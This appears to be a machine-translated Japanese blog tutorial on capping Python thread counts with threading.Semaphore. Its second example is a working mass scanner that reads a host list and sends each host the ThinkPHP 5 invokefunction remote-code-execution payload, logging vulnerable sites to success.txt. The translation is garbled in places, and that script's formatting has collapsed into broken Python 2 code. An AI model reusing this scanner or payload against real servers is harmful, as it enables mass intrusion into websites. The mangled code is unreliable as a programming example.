pythonマルチスレッドsemaphoreスレッド数制御を実現する例


前にpythonマルチスレッドの実現に関する文章を書きましたが、効果はあまり良くなく、書き方もあまり良くないです。ネットで勉強して、semaphoreというものも分かりました。
Semaphoreはマルチスレッド環境において使用される施設であり、各スレッドを調整し、それらが正しく、合理的に公共資源を使用できるようにする施設であり、操作システムにおいてプロセス同期の相互反発を制御するための量でもある。
面白い例:駐車場は3つの駐車スペースしかないと仮定して、最初の3つの駐車スペースは全部空いています。この時、5台の車が同時に来たら、ドアを見ている人が邪魔されずに入ることを許可します。そして車を置いて止めます。残りの車は入り口で待たなければなりません。その後の車も入り口で待たなければなりません。この時、ある車が駐車場を離れました。門番が知ったら、車を開けて止めて、一台に入れます。また二つの車を離れると、また二つの車を入れることができます。このように往復します。
簡単に言えば、マルチスレッドの同時進行量を制御できるということです。
簡単にメモしてください。どのようにしてスレッド数の制御をSemaphoreで実現しますか?
単純コード:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #  threading 
 def __init__(self, i, sem): 
 super(test, self).__init__()   #  python     ,  python2   ,python3   super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #     ,    1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #             
 for i in range(50):
 sem.acquire()         #    ,      1
 t = test(i, sem)       #        
 t.start()           #    
sem = threading.Semaphore(5)    #           ,   5 
関数を実行するたびにスレッド数を取得します。sem.acquire()関数を実行するたびに、スレッド数がリリースされます。sem.release()。acquire()のスレッド数が最大数(ここでは5)に達している限り、後のスレッドは先に得られたスレッドが関数を実行した後にリリースされるのを待つしかなく、後のスレッドが実行され続けることができません。
全体の流れを理解するのも簡単です。
前に10スレッドのマルチスレッドスクリプトを書いたことがありますが、方法が足りません。今回はこの方法で修正しました。ここに貼ってありますか?

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #               
 def __init__(self, url, sem):
 super(check, self).__init__()   #  threading      ,python3   super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("  tp5        : " + self.url + "
") print("[+] " + self.url) else: print("[-] " + self.url) except Exception,err: print("connect failed") pass self.sem.release() # , , 1 class host(threading.Thread): # def __init__(self, sem): super(host, self).__init__() # threading ,python3 super().__init__() self.sem = sem def run(self): with open(sys.argv[1], "r") as f: for host in f.readlines(): self.sem.acquire() # , host = "http://" + host.strip() host_thread = check(host, self.sem) host_thread.start() # check() if __name__ == '__main__': sem = threading.Semaphore(10) # 10 thread = host(sem) # sem thread.start()
ここでは、pythonマルチスレッドsemaphoreのスレッド数制御を実現する例についての記事を紹介します。これまでの記事を検索したり、以下の関連記事を見たりしてください。これからもよろしくお願いします。